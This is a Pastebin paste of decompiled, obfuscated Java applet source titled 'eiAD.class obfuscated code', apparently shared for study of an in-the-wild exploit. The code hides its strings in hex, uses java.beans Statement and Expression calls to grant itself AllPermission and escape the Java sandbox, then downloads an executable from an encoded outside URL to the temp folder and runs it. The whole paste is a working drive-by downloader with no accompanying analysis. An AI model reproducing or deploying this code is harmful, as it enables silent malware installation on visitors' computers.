Advertisement
eromang

eiAD.class obfuscated code

Oct 26th, 2012
610
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 6.24 KB | None | 0 0
  1. import java.applet.Applet;
  2. import java.beans.Expression;
  3. import java.beans.Statement;
  4. import java.io.FileOutputStream;
  5. import java.lang.reflect.Field;
  6. import java.net.URL;
  7. import java.nio.channels.Channels;
  8. import java.nio.channels.FileChannel;
  9. import java.security.AccessControlContext;
  10. import java.security.AllPermission;
  11. import java.security.CodeSource;
  12. import java.security.Permissions;
  13. import java.security.ProtectionDomain;
  14. import java.security.cert.Certificate;
  15. import java.util.Random;
  16.  
  17. public class eiAD extends Applet
  18. {
  19.   public String Author = "Created by Foxxy Software. u mad?";
  20.   public String[] JFI = FJOKL("4e[>|<]6f[>|<]74[>|<]68[>|<]69[>|<]6e[>|<]67[>|<]20[>|<]6c[>|<]69[>|<]6b[>|<]65[>|<]20[>|<]73[>|<]75[>|<]6e[>|<]2e[>|<]20[>|<]62[>|<]65[>|<]69[>|<]6e[>|<]67[>|<]20[>|<]61[>|<]20[>|<]61[>|<]77[>|<]74[>|<]2e[>|<]20[>|<]53[>|<]6f[>|<]6d[>|<]65[>|<]74[>|<]69[>|<]6d[>|<]65[>|<]73[>|<]20[>|<]49[>|<]20[>|<]70[>|<]75[>|<]74[>|<]20[>|<]6d[>|<]79[>|<]20[>|<]53[>|<]75[>|<]6e[>|<]54[>|<]6f[>|<]6f[>|<]6c[>|<]6b[>|<]69[>|<]74[>|<]20[>|<]69[>|<]6e[>|<]20[>|<]6d[>|<]79[>|<]20[>|<]61[>|<]73[>|<]73[>|<]68[>|<]6f[>|<]6c[>|<]65[>|<]21[>|<]20[>|<]59[>|<]6f[>|<]75[>|<]20[>|<]73[>|<]65[>|<]65[>|<]20[>|<]74[>|<]68[>|<]65[>|<]20[>|<]67[>|<]65[>|<]74[>|<]20[>|<]69[>|<]73[>|<]20[>|<]61[>|<]20[>|<]46[>|<]69[>|<]65[>|<]6c[>|<]64[>|<]20[>|<]74[>|<]68[>|<]61[>|<]74[>|<]20[>|<]4e[>|<]61[>|<]6d[>|<]65[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]2e[>|<]65[>|<]78[>|<]65[>|<]20[>|<]6f[>|<]6b[>|<]61[>|<]79[>|<]20[>|<]2f[>|<]2f[>|<]20[>|<]49[>|<]20[>|<]6d[>|<]65[>|<]61[>|<]6e[>|<]20[>|<]67[>|<]6f[>|<]64[>|<]20[>|<]64[>|<]61[>|<]6d[>|<]6e[>|<]20[>|<]74[>|<]68[>|<]65[>|<]20[>|<]67[>|<]65[>|<]74[>|<]20[>|<]69[>|<]73[>|<]20[>|<]62[>|<]65[>|<]69[>|<]6e[>|<]67[>|<]20[>|<]73[>|<]65[>|<]74[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]74[>|<]68[>|<]65[>|<]20[>|<]53[>|<]65[>|<]63[>|<]75[>|<]72[>|<]69[>|<]74[>|<]79[>|<]20[>|<]4d[>|<]61[>|<]6e[>|<]61[>|<]67[>|<]65[>|<]72[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]66[>|<]69[>|<]6c[>|<]65[>|<]3a[>|<]2f[>|<]20[>|<]21[>|<]20[>|<]47[>|<]6f[>|<]74[>|<]20[>|<]64[>|<]61[>|<]6d[>|<]6e[>|<]20[>|<]49[>|<]20[>|<]77[>|<]61[>|<]6e[>|<]74[>|<]20[>|<]73[>|<]6f[>|<]6d[>|<]65[>|<]20[>|<]6d[>|<]69[>|<]6c[>|<]6b[>|<]20[>|<]66[>|<]72[>|<]6f[>|<]6d[>|<]20[>|<]6d[>|<]79[>|<]20[>|<]6d[>|<]6f[>|<]6d[>|<]6d[>|<]69[>|<]65[>|<]73[>|<]20[>|<]74[>|<]69[>|<]74[>|<]7a[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]74[>|<]68[>|<]61[>|<]74[>|<]20[>|<]61[>|<]63[>|<]63").split(" ");
  21.   public Object[] HID = { new StringBuilder().append(this.JFI[2]).append(this.JFI[5]).append(this.JFI[10]).toString() };
  22.   public Object[] HJD = { Statement.class, this.JFI[55] };
  23.   public String HFJKD = new StringBuilder().append(this.JFI[32]).append(this.JFI[20]).toString();
  24.   public Permissions localPermissions = new Permissions();
  25.   public String HKD = new StringBuilder().append(this.JFI[35]).append(this.JFI[38]).append(this.JFI[39]).toString();
  26.   public Expression[] FHJD = { new Expression(Class.class, new StringBuilder().append(this.JFI[53]).append(this.JFI[22]).toString(), this.HID), null };
  27.   public URL HGIDO = null;
  28.   public ProtectionDomain[] FHD = { null };
  29.   public Statement localStatement = null;
  30.   public Certificate[] FG = null;
  31.   public AccessControlContext GJD = new AccessControlContext(this.FHD);
  32.  
  33.   public String FJOKL(String paramString)
  34.   {
  35.     StringBuilder localStringBuilder = new StringBuilder();
  36.     paramString = paramString.replace("[>|<]", "");
  37.     for (int i = 0; i < paramString.length() - 1; i += 2) {
  38.       localStringBuilder.append((char)Integer.parseInt(paramString.substring(i, i + 2), 16));
  39.     }
  40.     paramString = localStringBuilder.toString();
  41.     return paramString;
  42.   }
  43.  
  44.   public boolean HJKF() {
  45.     try {
  46.       this.FHJD[0].execute();
  47.       this.FHJD[0].execute();
  48.       this.localStatement = new Statement(System.class, new StringBuilder().append(this.JFI[35]).append(this.JFI[38]).append(this.JFI[39]).toString(), new Object[1]);
  49.       this.FHJD[1] = new Expression(this.FHJD[0].getValue(), this.HFJKD, this.HJD);
  50.       this.FHJD[1].execute();
  51.       this.FHD[0] = new ProtectionDomain(new CodeSource(this.HGIDO, this.FG), this.localPermissions);
  52.       ((Field)this.FHJD[1].getValue()).set(this.localStatement, this.GJD);
  53.     } catch (Exception localException) {
  54.       System.exit(0);
  55.     }
  56.     return true;
  57.   }
  58.  
  59.   public void init() {
  60.     try {
  61.       this.HGIDO = new URL(new StringBuilder().append(this.JFI[41]).append(this.JFI[26]).toString());
  62.       this.localPermissions.add(new AllPermission());
  63.       if (HJKF() == true)
  64.         if (HGKF() == true) {
  65.           FileOutputStream localFileOutputStream = new FileOutputStream(new StringBuilder().append(System.getProperty(this.HFJKD)).append(this.JFI[26]).append(this.HKD).toString());
  66.           this.HGIDO = new URL(new StringBuilder().append(FJOKL("6[>|<]8[>|<]7[>|<]4[>|<]7[>|<]4[>|<]7[>|<]0[>|<]3[>|<]a[>|<]2[>|<]f[>|<]2[>|<]f[>|<]7[>|<]7[>|<]7[>|<]7[>|<]7[>|<]7[>|<]2[>|<]e[>|<]6[>|<]7[>|<]7[>|<]6[>|<]7[>|<]2[>|<]6[>|<]2[>|<]2[>|<]e[>|<]6[>|<]3[>|<]6[>|<]f[>|<]6[>|<]d[>|<]2[>|<]e[>|<]7[>|<]4[>|<]7[>|<]7[>|<]2[>|<]f[>|<]7[>|<]5[>|<]7[>|<]0[>|<]6[>|<]c[>|<]6[>|<]f[>|<]6[>|<]1[>|<]6[>|<]4[>|<]2[>|<]f[>|<]7[>|<]5[>|<]7[>|<]3[>|<]6[>|<]5[>|<]7[>|<]2[>|<]2[>|<]f[>|<]6[>|<]6[>|<]6[>|<]9[>|<]6[>|<]c[>|<]6[>|<]5[>|<]7[>|<]3[>|<]2[>|<]f[>|<]6[>|<]e[>|<]7[>|<]5[>|<]6[>|<]d")).append(this.JFI[24]).toString());
  67.           localFileOutputStream.getChannel().transferFrom(Channels.newChannel(this.HGIDO.openStream()), 0L, 16777216L);
  68.           localFileOutputStream.close();
  69.           if (Runtime.getRuntime().exec(new StringBuilder().append(System.getProperty(this.HFJKD)).append(this.JFI[26]).append(this.HKD).toString()) != null)
  70.             System.exit(0);
  71.           else
  72.             System.exit(0);
  73.         }
  74.         else {
  75.           System.exit(0);
  76.         }
  77.     }
  78.     catch (Throwable localThrowable) {
  79.       System.exit(0);
  80.     }
  81.   }
  82.  
  83.   public boolean HGKF() {
  84.     try {
  85.       this.HFJKD = "java.io.tmpdir".toString();
  86.       this.localStatement.execute();
  87.       this.HKD = new StringBuilder().append(Long.toString(Math.abs(new Random().nextLong()), 36).replaceAll("[0-9]", "")).append(this.JFI[24]).toString();
  88.     } catch (Throwable localThrowable) {
  89.       System.exit(0);
  90.     }
  91.     return true;
  92.   }
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement